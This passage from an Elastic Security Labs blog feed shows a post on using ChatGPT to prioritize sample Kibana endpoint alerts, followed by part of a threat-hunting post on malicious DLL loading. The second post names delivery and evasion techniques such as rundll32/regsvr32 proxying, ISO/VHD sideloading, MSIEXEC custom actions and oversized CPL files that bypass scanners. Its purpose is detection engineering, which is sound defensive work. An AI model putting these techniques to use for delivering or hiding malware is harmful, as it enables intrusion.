<pre><code>{'kibana.alert.last_detected': '2023-02-28T16:59:46.600Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T12:46:02.800Z', 'kibana.alert.rule.execution.uuid': '0025ed3f-c41c-40ea-bd29-babd28b154b4', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T17:04:49.582Z', 'kibana.alert.rule.execution.uuid': '2d4965c5-a345-4f47-9deb-4135b178c7f3', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'}
</code></pre>
</blockquote>
<p>When we ask ChatGPT "Which one of these alerts should I prioritize?", we get a few interesting responses. Feel free to expand the entries below to see the actual responses.</p>
<p>The first response doesn't answer the question. It admits that it's a challenging question and provides some general guidance on how to triage alerts. We can try modifying the prompt to get closer to a specific answer.</p>
<h5 id="genericresponse">Generic response</h5>
<p>In the next response we again receive a general response 😓, but simply repeating the same question. This time, however, it attempts to provide more specific recommendations based on the fields provided. The message is interesting, but we want to know how to prioritize alerts, not receive a general description of the alerts.</p>
<h5 id="genericresponsewithfielddetails">Generic response with field details</h5>
<blockquote>
  <p>It's difficult to prioritize these alerts without more context, as it depends on the severity and impact of each alert, as well as the current state of the system being monitored. However, here are some general guidelines based on the information provided: The alerts with the most recent "kibana.alert.last_detected" timestamp may be more urgent, as they indicate a more recent occurrence of a potentially malicious activity. Alerts with the same "kibana.alert.rule.name" and "kibana.alert.rule.description" but different "kibana.alert.rule.execution.uuid" may indicate multiple instances of the same type of activity, and may be worth investigating further. Alerts with different "kibana.alert.rule.name" and "kibana.alert.rule.description" may indicate different types of malicious activity, and should be evaluated based on their severity and impact on the system. Ultimately, the best course of action is to have a clear plan and protocol for responding to alerts, and to evaluate each alert based on its specific context and potential impact on the system being monitored.</p>
</blockquote>
<p>After adding the new fields to the original events, we get a more informed response (as expected). We try adding two fields that should dramatically impact the response and recommendations provided.</p>
<p>Feeding more context to ChatGPT can always help get a better answer, but remember when cost is a concern, sometimes we have to be very picky about which fields (and how much data) we want to send. To no surprise, we immediately obtain improved responses after adding these important pieces of information. In this case, since the alerts are all very similar, it chooses the timestamp to prioritize the alert.</p>
<blockquote>
  <p>"kibana.alert.rule.risk_score", "kibana.alert.rule.severity",</p>
</blockquote>
<h5 id="prioritizingrecommendation">Prioritizing recommendation</h5>
<blockquote>
  <p>It seems like all the alerts have the same information and are related to the same type of alert: Malicious Behavior Prevention Alert. They are all of medium severity and have the same risk score. Therefore, I suggest investigating the most recent alert since it was detected at a later time, and it might indicate that the issue is ongoing or has occurred again. In this case, the alert with the timestamp of 2023-03-07T20:42:25.969Z is the most recent one, so I recommend prioritizing it. However, I would still recommend investigating all the alerts since they are related to the same type of threat and could provide valuable information for understanding and mitigating the issue.</p>
</blockquote>
<p>We can try shrinking similar alerts down to one alert by rule name to see how the volume of alerts (in a contrived way) impacts the response. Yet again, we get a slightly more direct response even though the alerts have the same risk score and severity level. At least this time we get a specific rule name somewhere in the response.</p>
<h5 id="reducedsamplealertsbyrulename">Reduced sample alerts by rule name</h5>
<blockquote>
<pre><code>{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}
</code></pre>
</blockquote>
<h5 id="prioritizedalert">Prioritized alert</h5>
<blockquote>
  <p>Based on the information provided, all three alerts have the same risk score and severity level, and they appear to be related to the same type of detection for malicious behavior in the Elastic Endpoint Security system. Therefore, it may be important to investigate all three alerts to ensure that there are no broader patterns of malicious activity in the system. However, if there are limitations on resources and time available for investigation, it may be reasonable to prioritize the alert with the most specific and detailed name and description, which in this case is "Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection." This alert may indicate a more serious and urgent threat that requires immediate attention.</p>
</blockquote>
<p>Finally, we manipulate the fields to change the severity and risk score for experimental purposes and set the DARKRADIATION alert to a critical severity and high-risk score. We end the exploration with a direct response based on specific fields recommending the alert DARKRADIATION, and ChatGPT explains why the alert is the best choice, which is closer to what we're looking for.</p>
<p>So why would we want to use an LLM if we can simply prioritize alerts using a rules-based strategy (e.g. sort alerts by highest severity)? As we saw earlier, other factors can impact the response (volume of alerts, the similarity of alerts, etc.), where at the end of the day the recommendation may be ultimately based on a timestamp or another field provided that is not as obvious to the responder.</p>
<h5 id="samplealertswithvaryingseverityriskscore">Sample alerts with varying severity &amp; risk score</h5>
<blockquote>
<pre><code>{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}
</code></pre>
</blockquote>
<h5 id="prioritizedalertwithdetails">Prioritized alert with details</h5>
<blockquote>
  <p>Based on the severity and risk scores provided in the alerts, the Malicious Behavior Prevention Alert for DARKRADIATION Ransomware Infection should be prioritized. This alert has a severity level of "critical" and a risk score of 74, which indicates that it poses a significant threat and requires immediate attention. In comparison, the other two alerts have lower severity levels and risk scores, suggesting that they are of lower priority. However, it's worth noting that the specific context and environment in which these alerts were generated could also impact their prioritization. Therefore, it's important to carefully evaluate all available information before making a final decision.</p>
</blockquote>
<p>We've always known more context potentially can yield better responses. In this case, we used a combination of 1) reducing the alerts by Rule Name, and 2) providing more useful fields targeted to the question we wanted to answer. If we change the question, then we most likely need to provide different fields, which gets back to a broader question of what data should we provide to cost-effectively get the answer we're looking for.</p>
<h5 id="smalldiscussiononllmsforundesirableoutcomes">Small discussion on LLMs for undesirable outcomes</h5>
<p>The major question here is, how can the security industry take advantage of LLMs like ChatGPT to prepare for undesirable outcomes (e.g., data breach, malware infection, insider threat, DOS-type cyber attack). This topic drives towards an exciting new topic of domain-specific context, and if LLM is the giant machine, then what will we get out of it?</p>
<p>Here are some well-known concepts that we can tap into: - Contextualizing alerts: Deep diving through past alerts and providing relevant insights to the analyst.</p>
<ul>
<li><p>Training new models: Applying transfer-learning techniques to train new predictive models that are tailored to an organization's specific dataset and security needs. This training would cover large sets of historical reports, logs, ELT-prepped network traffic, responses, etc.</p></li>
<li><p>Automating all the things: Automating the mundane tasks away, sounds simple, but will challenge our ability to trust in automation.</p></li>
<li><p>Threat modeling: Create highly representative threat models and attacks that adversaries may exploit to reinforce and improve an organization's security posture.</p></li>
</ul>
<p>We've seen the security world gravitate towards ML for anomaly detection. As more of these LLMs become available and grow in capability, we have to tune ChatGPT magic to fit in our existing workflows and be comfortable replacing/upgrading old processes. At the very least, new ChatGPT applications will inspire new research questions, experiments, and proofs-of-concept. The key factor is not who develops the initial security-LLM application, but rather who can derive the most benefit from it for their product or organization.</p>
<p>Start asking the questions. What am I missing in my policy? What gaps are in my detections? What does this alert mean? These types of questions will lead to great opportunities to use LLMs and add the extra protection you may have missed. With <a href="https://openai.com/research/gpt-4">GPT-4’</a>s release and image capabilities, improved reasoning creates even more opportunities to extend into the security domain. Just imagine capturing user activities in a graphic that morphs over time (e.g. standard plot, rorschach graphic, etc.) and using a future GPT-X that can interpret trends, detect anomalies, or even track entity analytics! The classification and analysis possibilities are endless, and I encourage everyone to continue merging into new domains.</p>
<p>It was fun playing around with the overlapping domains of security and LLMs, and the gist file we provide may one day evolve into a full project. 🤷 We didn't prove out all of the use cases, but that leaves room for future opportunities, research, POCs and research to explore with the future versions of gpt!</p>
<p>We hope you enjoyed the read! See below for how to get started with the summary demo.</p>
<h5 id="tryityourself">Try it yourself!</h5>
<p>If you want to try this out for yourself, you'll need a few things. - <a href="https://platform.openai.com/signup">Signup</a> to get an OpenAI account, following the <a href="https://help.openai.com/en/articles/5112595-best-practices-for-api-key-safety">guide</a> for best practices. - Grab the <a href="https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a">gist</a>, which has the code. Disclaimer: The API continues to evolve, which may require minor changes. - This example uses Elastic, so <a href="https://www.elastic.co/cloud/cloud-trial-overview/security">Signup</a> to get a free Elastic security trial. You will also benefit from having some experience with the <a href="https://www.elastic.co/guide/en/security/current/detection-engine-overview.html">security detection engin</a>e.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding</link>
    <guid isPermaLink="false">exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Mika Ayenson]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltffdb2a2b25154560/6a7d803d5967e505b55da52f/blog-elastic-train.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 24 Apr 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Hunting for Suspicious Windows Libraries for Execution and Defense Evasion]]></title>
    <description><![CDATA[Learn more about discovering threats by hunting through DLL load events, one way to reveal the presence of known and unknown malware in noisy process event data.]]></description>
    <content:encoded><![CDATA[<p>Dynamic-link library (DLL) image loads is one of the noisiest types of event in Windows, which may discourage defenders from using it for detection engineering or threat hunting. Even if logged in some environments, it’s often limited to function-specific DLLs such as scheduled tasks (taskschd.dll), Windows Management Instrumentation (wmiutil.dll) and potentially DLLs loading from a few suspicious folders. In addition to the data volume issue, the false positive (FP) rate of the detection rules using DLL events also tend to be proportional to the data volume.</p>
<p>Unfortunately, both advanced adversaries and also commodity malwares are taking advantage of those limitations to increase the chances of their attack success, especially during the delivery phase via diverse spear phishing procedures.</p>
<p>The most commonly observed delivery techniques are the following :</p>
<ul>
<li>Loading malicious DLLs using binary execution proxies Rundll32 and Regsvr32</li>
<li>Sideloading a malicious DLL from a virtual disk image (ISO/VHD files) into a convenient signed benign binary</li>
<li>Extracting a DLL from a malicious Microsoft Office document (i.e. Word, Excel) and immediately loading it via Visual Basic for Applications (VBA)</li>
<li>Downloading or extracting a DLL using a <a href="https://lolbas-project.github.io/">lolbin</a> and loading it by another program</li>
<li>Sideloading a malicious DLL extracted from a compressed archive (zip, rar, etc) into a signed benign binary</li>
<li>Dropping a malicious DLL in the current directory of an existing program vulnerable to DLL sideloading (e.g. OneDrive, Slack, Teams) via one of several means</li>
<li>Less common but also very effective is the use of Windows Installer MSIEXEC to load a malicious DLL</li>
</ul>
<h2 id="whatdlleventsdowelogwithelasticendpoint">What DLL events do we log with Elastic Endpoint ?</h2>
<p>With the exception of the following Microsoft DLLs, Elastic endpoint since version 7.16 records all non-Microsoft signed DLLs: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7388b4511dfed58/6a7d7caaea068d0b72f07182/table1.jpg" alt="" /></p>
<p>We also added some enrichments to both DLL and process events that records the following metadata: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt963b0abaf2691fe4/6a7d7cad2f00b235a3efbe0a/table2.jpg" alt="" /></p>
<p>Below is an example of device information for DLL and Process execution from mounted ISO and VHD files, two file objects increasingly used to deliver malware: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8b1d1a5bfc2ebfc9/6a7d7cb0dd26d24c7b2a71dc/image14.jpg" alt="" /></p>
<p>Here is an example of process execution relative file creation and modification times for svchost.exe : <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt71cd65638dac6d12/6a7d7cb3ead8eca961ba7a69/image18.jpg" alt="" /></p>
<p>The relative execution time enrichment will help us create less noisy detection rules (we can match our rules against the first or few image load or process execution instances), and the device information will allow us to better target suspicious use of ISO/VHD files for malicious purposes.</p>
<h2 id="detection">Detection</h2>
<p>In this section we share some detection ideas that are both reliable signals and effectively match the most common scenarios we mentioned earlier.</p>
<h3 id="dllviarundll32regsvr32">DLL via Rundll32 / Regsvr32</h3>
<p>As captured in our own <a href="https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement">Global Threat Report</a>, Rundll32 and Regsvr32 lolbins are two of the most abused binary execution proxies. These utilities can load malicious DLLs and are a commonly seen component of many phishing attacks (malicious shortcuts, ISO file, macro enabled documents): <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaa11d9b5fdab2402/6a7d7cb65967e51c205da461/image7.jpg" alt="" /></p>
<p>During a recent period of about 90 days, our internal malware sandbox saw roughly 21K malware alerts where the malicious file was a DLL loaded by either regsvr32 or to a lesser degree rundll32.</p>
<p>The following two endpoint behavior protection rules are effective against about 80% of those samples (~17k out of ~21k) leveraging rundll32 or regsvr32 to execute malicious modules: - <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml">Unusual DLL Extension Loaded by Rundll32 or Regsvr32</a>- <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml">RunDLL32/Regsvr32 Loads Dropped Executable</a></p>
<h4 id="rundll32orregsvr32executinganoversizedfile">Rundll32 or Regsvr32 Executing an oversized File</h4>
<p>The following EQL query correlates creation of an executable file event with file size equal or greater than 100MB (this threshold can be adjusted to your environment) subsequently followed by being loaded as a DLL via rundll32 or regsvr32:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltccb88c53ded79673/6a7d7cb8bdcff03a41c3ffad/image23.jpg" alt="" /></p>
<p>Below are examples of malicious control panel (CPL) files with sizes over 700MB, a technique used to bypass AV file scanning and reputation-based cloud services that implement a maximum file size for uploaded files:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte60f50157cae6ab2/6a7d7cbbe3a2191a6099c663/image34.jpg" alt="" /></p>
<h4 id="rundll32orregsvr32loadingadllwithasuspiciousoriginalfilename">Rundll32 or Regsvr32 loading a DLL with a suspicious original file name</h4>
<p>Some malicious DLLs have a suspicious original file name, such as ending with .EXE extension or with a great mismatch between the length of the original file name and the actual DLL name. This kind of defense evasion is less common and is employed by a good number of known malware families:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6e336bd6a007da59/6a7d7cbe42a117b9ce95905f/image10.jpg" alt="" /></p>
<p>A few examples:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt417ccf476058957f/6a7d7cc18fc2d04b003eb7c2/image33.jpg" alt="" /></p>
<h3 id="dllviadiskimages">DLL via Disk Images</h3>
<p>Embedding malicious payloads in virtual disk images isn’t new or particularly novel, but the technique has gained in popularity among commodity malware families.</p>
<h4 id="suspiciousimageloadfromanisomounteddevice">Suspicious ImageLoad from an ISO Mounted Device</h4>
<p>The following rule looks for the execution of commonly-abused Windows binaries to load a DLL from a mounted virtual disk image:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9e7738319b3ffc9a/6a7d7cc4fc63ab0c4e649ef5/image9.jpg" alt="" /></p>
<p>Below are some example of the technique:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt05afe91116dce30d/6a7d7cc78fc2d0803b3eb7c6/image20.jpg" alt="" /></p>
<h4 id="suspiciousmicrosoftimageloadedfromadiskimage">Suspicious Microsoft Image Loaded from a Disk Image</h4>
<p>The following rule is triggered when an executable, running from a mounted virtual disk image (.vhd, .iso), loads a suspicious Microsoft-signed DLL such as the taskschd, bitsproxy or vaultclient modules that are associated with some common malware capabilities like persistence, credential access, and evasion.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf0a8127013f24f5e/6a7d7cca2f00b250c1efbe0e/image30.jpg" alt="" /></p>
<p>This query identifies many commodity malware families delivered via ISO files:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9833a9f900b3c9b5/6a7d7ccd33fa8a13d11ff8c5/image6.jpg" alt="" /></p>
<h4 id="potentialdllsideloadviaarenamedsignedbinary">Potential DLL SideLoad via a Renamed Signed Binary</h4>
<p>The following query identifies attempts to load an unsigned DLL from a mounted virtual disk (.iso, .vhd) and using a renamed signed binary (original file name is different than the process name).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte226520e019d97d8/6a7d7ccf33fa8a8d7b1ff8c9/image25.jpg" alt="" /></p>
<p>This depicts some examples of matches where a signed and renamed program is loading a DLL from a mounted disk image:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0383219ee8707edc/6a7d7cd263e9592f4f73add8/image15.jpg" alt="" /></p>
<h4 id="potentialdllsideloadviaamicrosoftsignedbinary">Potential DLL SideLoad via a Microsoft Signed Binary</h4>
<p>This detection identifies attempts to load unsigned DLLs from a mounted virtual disk (.iso, .vhd) and using a signed Microsoft binary:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60730cdd1564b20e/6a7d7cd5e88c650b260088c0/image3.jpg" alt="" /></p>
<p>Below is an example in which Microsoft OneDrive and Windows Control Panel executables are abused to sideload malicious modules for initial access and execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd4da3560e71d5c53/6a7d7cd8fc63ab83b0649efb/image19.jpg" alt="" /></p>
<h3 id="dllfromarchivefiles">DLL from Archive Files</h3>
<p>Similarly to virtual disk images, attackers can also use ZIP/RAR archive files with embedded malicious DLL paired with a trusted binary or a shortcut (LNK) file to gain access.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd434dd77b010e4ed/6a7d7cdbc2cc09250c2465ba/image5.jpg" alt="" /></p>
<p>The following screen capture shows how this query identifies a malicious file from a RAR archive which was auto-extracted into a temporary user directory. This scenario is moderately common.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta9cb76e81344bfe1/6a7d7cdedd26d243b22a71e4/image27.jpg" alt="" /></p>
<h3 id="dllviamaliciousdocuments">DLL via Malicious Documents</h3>
<p>Microsoft Office documents can be also used to deploy and load a malicious DLL to avoid spawning a suspicious child process. The following query correlates an executable (PE) file creation event with a DLL load event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2646ae8cd459d12f/6a7d7ce1ead8ec6d8bba7a6f/image11.jpg" alt="" /></p>
<p>Below are some examples of malicious Word and Excel documents using this delivery technique.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc74d208651e95fee/6a7d7ce3ea068d3bedf07188/image16.jpg" alt="" /></p>
<h3 id="dllviamsiexec">DLL via MSIEXEC</h3>
<p>MsiExec is another great option when you need to execute malicious DLLs because this activity blends in well with legitimate software installers. Two observed delivery methods are:</p>
<ul>
<li>Calling the DLLRegisterServer export from a random DLL using the command-line arguments /y or /z as documented here</li>
<li>Build an installer that uses custom actions to load and execute a DLL as documented here and here</li>
</ul>
<p>The following query can be used to identify the execution of the built-in Windows Installer, MSIEXEC, to call the exported function and run code:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76672d3680738f05/6a7d7ce6e88c6525320088c4/image26.jpg" alt="" /></p>
<p>Examples where MSI is used to load malicious DLLs:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdee127043ce9b927/6a7d7ce9e88c65014c0088c8/image4.jpg" alt="" /></p>
<p>DLLs delivered via Windows Installer custom actions can be detected by correlating a DLL file creation event where the calling process is MsiExec and where that DLL is subsequently loaded by the same MsiExec process.</p>
<p>It's worth noting that there are some legitimate uses of Windows Installer custom actions and this query may require some filtering in environments where those are used.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99ecc992e176b615/6a7d7ceb51156a8cb22bf7c5/image12.jpg" alt="" /></p>
<p>The following query matches the Gwisin Ransomware documented by <a href="https://asec.ahnlab.com/en/37483/">AhnLab</a> and for which a <a href="https://github.com/ChoiSG/GwisinMsi">PoC</a> has been created.</p>
<h3 id="dlldeliveryvialolbins">DLL delivery via lolbins</h3>
<p>Some malware relies on trusted Microsoft binaries to download, decode or extract DLLs. This query correlates PE file creation or modification by common built-in tools, followed by an image load.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt220e95dc61e70688/6a7d7cee8fc2d060bc3eb7cc/image13.jpg" alt="" /></p>
<p>Examples of malware identified using this detection approach:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89893fae4fe709d3/6a7d7cf14c4bfb09d3cca7a2/image28.jpg" alt="" /></p>
<h3 id="dllsideloadintoexistingprogram">DLL sideload into existing program</h3>
<p>The following detection identifies attempts to load a recently-created and unsigned DLL file by an already existing signed process within the same current directory. Comparing the difference between the creation time of the existing program and the DLL creation time we can spot these kinds of anomalies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc8515a08f96692c/6a7d7cf45588addf03ee4236/image29.jpg" alt="" /></p>
<p>The next example matches when the malicious secure32.dll process (created 28 seconds ago) is written to the current OneDrivedirectory and automatically loaded by OneDrive.exe (created 2.5 years ago):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3be7129abfd14775/6a7d7cf777b034fca53fc59c/image17.jpg" alt="" /></p>
<h3 id="dllloadingfromsuspiciousdirectories">DLL loading from suspicious directories</h3>
<p>Dropping a DLL to a user-writable directories and side loading that with a trusted binary is also a common pattern. The following query looks for this behavior and, by leveraging relative creation and modification times, it can reduce the alerts volume while limiting those to a time window following initial execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt154bf6de8b3755cd/6a7d7cf94c4bfb6ba8cca7a6/image8.jpg" alt="" /></p>
<p>The most commonly-targeted user-writable directories are <code>?:\Users\Public</code> and <code>?:\ProgramData</code>. The full query containing more than 70 suspicious folders can be found <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unsigned_dll_loaded_from_suspdir.toml">here</a>.</p>
<p>Below see a example depicting malicious matches where various trusted binaries were abused to load malicious DLLs: <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd18aa04c8135043d/6a7d7cfcc2cc0939a32465c3/image2.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89cf23b307863710/6a7d7cff51156aa7e72bf7c9/image21.jpg" alt="" /></p>
<h3 id="dllloadwithanabnormalcreationtime">DLL load with an abnormal creation time</h3>
